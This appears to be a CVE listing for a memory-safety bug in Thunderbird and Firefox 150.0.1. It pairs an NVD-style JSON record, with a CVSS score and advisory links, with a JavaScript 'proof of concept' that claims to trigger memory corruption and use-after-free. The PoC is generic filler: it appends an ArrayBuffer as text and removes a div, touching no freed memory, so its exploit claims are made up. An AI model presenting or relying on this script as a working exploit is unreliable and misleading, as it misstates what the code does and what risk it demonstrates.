CVE-2026-8093

/** * Conceptual Proof of Concept (PoC) for CVE-2026-8093 * This script demonstrates a generic method to trigger memory corruption * in vulnerable rendering engines by manipulating DOM objects. */ function triggerMemoryCorruption() { // Create a large buffer to potentially trigger an overflow var maliciousBuffer = new ArrayBuffer(0x100000); var view = new Uint32Array(maliciousBuffer); // Fill with pattern for (var i = 0; i < view.length; i++) { view[i] = 0x41414141; // 'AAAA' } // Attempt to trigger the vulnerability by forcing a reflow or GC // (Actual trigger depends on the specific bug in Thunderbird 150.0.1) var div = document.createElement('div'); div.style.width = '100%'; div.appendChild(document.createTextNode(maliciousBuffer)); document.body.appendChild(div); // Force layout calculation var height = div.offsetHeight; // Remove element to potentially trigger UAF document.body.removeChild(div); // Further interaction with freed memory console.log(height); } // Execute triggerMemoryCorruption();

{"cve": {"id": "CVE-2026-8093", "sourceIdentifier": "[email protected]", "published": "2026-05-07T13:16:14.317", "lastModified": "2026-05-11T15:12:48.440", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Memory safety bugs present in Thunderbird 150.0.1. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability was fixed in Firefox 150.0.2 and Thunderbird 150.0.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:*:*:*:*", "versionEndExcluding": "150.0.2", "matchCriteriaId": "E9A26BD7-6C9D-4FB0-A8CF-F70669481B9E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:*:*:*:*", "versionEndExcluding": "150.0.2", "matchCriteriaId": "867B7793-191D-435B-BD69-8789184748C7"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/buglist.cgi?bug_id=1981270%2C2027154%2C2028332%2C2029327%2C2029428%2C2029894%2C2032189%2C2034837%2C2035968%2C2036256", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-40/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-43/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}